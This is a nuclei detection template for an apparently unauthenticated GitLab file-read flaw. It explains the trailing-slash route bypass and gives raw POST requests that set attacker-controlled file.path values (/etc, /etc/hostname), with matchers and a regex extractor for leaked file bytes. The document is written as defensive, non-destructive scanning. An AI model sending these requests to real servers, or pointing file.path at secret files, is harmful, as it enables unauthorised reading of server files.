# ============================================================================= # CVE-2026-85706 — GitLab CE/EE repository-commits API, unauthenticated # arbitrary local file read. Route-confinement miss: Workhorse mounts the # request-body-uploader only on ^/api/v4/projects/[^/]+/repository/commits\z ; # a trailing slash (or .json) still routes in Rails/Grape but skips the # body-hijack, so params['file.path'] stays attacker-controlled and # file_params_from_body_upload opens it BEFORE authenticate!. # # Every byte of the request/response shapes below is copied from the LIVE # captures of this case (ground truth, do not "improve"): # exploit/tests/golden/wire-proof-live-capture.txt (400 leak capture) # exploit/tests/golden/live_classify_goldens.json (leak/absent/401/500 oracle set) # evidence/fix-verification/run-20260912-a/phase1-stock/stock-read-fx.wire # evidence/fix-verification/run-20260912-a/phase1-stock/stock-read-oracle-proof.wire # # Non-destructive by design: rule 1 never touches an existing path # (File.exist? false -> the helper aborts with 400 "local file not present" # BEFORE any open); rule 2's probes are the /etc directory (File.read raises # EISDIR -> 500, zero bytes read) and the tiny world-readable /etc/hostname # (no secret material). No /etc/passwd, no config secrets, nothing written. # # The 401 "EXISTS, read+parsed clean" arm (golden exists_read_clean_401) is # DELIBERATELY NOT a matcher: a patched GitLab also answers 401 to this exact # request, so a 401-based rule fires on the benign/patched baseline — a broken # rule by the detection charter. It stays an interpretive oracle arm, # documented in detection/README.md. # ============================================================================= # NOTE: file split of cve-2026-85706 rule pair — nuclei v3 loads only the # first YAML document per file (verified v3.11.0), hence one rule per file. # arm: confirmed-read (EISDIR-500 differential + %-encoding byte echo). id: CVE-2026-85706-confirmed-read info: name: GitLab CVE-2026-85706 - Confirmed Pre-Auth File Open/Read (EISDIR 500 differential or %-encoding byte echo) author: ARL-case-004 detection-engineer severity: critical description: "Same unauth route-bypass shape, two non-reading differentials whose\nresponse shapes are live-captured goldens of this case:\n A) file.path=/etc (a DIRECTORY): the vulnerable helper reaches\n\ \ File.read('/etc') pre-auth and it raises EISDIR -> HTTP 500\n (golden exists_dir_500). Patched GitLab returns 401 before the\n helper ever runs, so a 500 on this shape proves the pre-auth\ \ open\n was performed. A failed directory read moves zero bytes.\n B) file.path=/etc/hostname (tiny, world-readable, non-secret): if the\n target environment happened to run patched code the\ \ answer is 401\n (not matched); on vulnerable code with a clean parse it is also 401\n (NOT matched — patched baseline parity, see detection/README.md);\n if its bytes contain a bare '%'\ \ the pre-fix code leaks them verbatim\n inside 400 'Invalid parameter: invalid %-encoding (...)' (golden\n proof_file_full_leak shape) — matched as a confirmed read.\n" classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N cvss-score: 10.0 cve-id: CVE-2026-85706 cwe-id: CWE-22 metadata: aml_case: ARL-004 rule-family: nuclei rule-arm: confirmed-read grounded-on: exploit/tests/golden/live_classify_goldens.json#exists_dir_500,#proof_file_full_leak non-destructive: true — EISDIR error path (0 bytes) + public hostname file only reference: - https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-3-2-released/ self-contained: false http: - raw: - 'POST /api/v4/projects/{{project_id}}/repository/commits/ HTTP/1.1 Host: {{Hostname}} Accept: application/json User-Agent: Mozilla/5.0 (compatible; CVE-2026-85706-detect/1.0) Content-Type: application/x-www-form-urlencoded Content-Length: 83 Connection: close file=&file.path=%2Fetc&file.size=1&Content-Type=application%2Fx-www-form-urlencoded ' - 'POST /api/v4/projects/{{project_id}}/repository/commits/ HTTP/1.1 Host: {{Hostname}} Accept: application/json User-Agent: Mozilla/5.0 (compatible; CVE-2026-85706-detect/1.0) Content-Type: application/x-www-form-urlencoded Content-Length: 94 Connection: close file=&file.path=%2Fetc%2Fhostname&file.size=1&Content-Type=application%2Fx-www-form-urlencoded ' payloads: project_id: - '1' - '2' matchers-condition: or matchers: - type: status status: - 500 name: eisdir-preauth-open - type: word part: body words: - 'Invalid parameter: invalid %-encoding (' name: byte-echo-leak extractors: - type: regex part: body group: 1 regex: - invalid %-encoding \((.*)\)"\}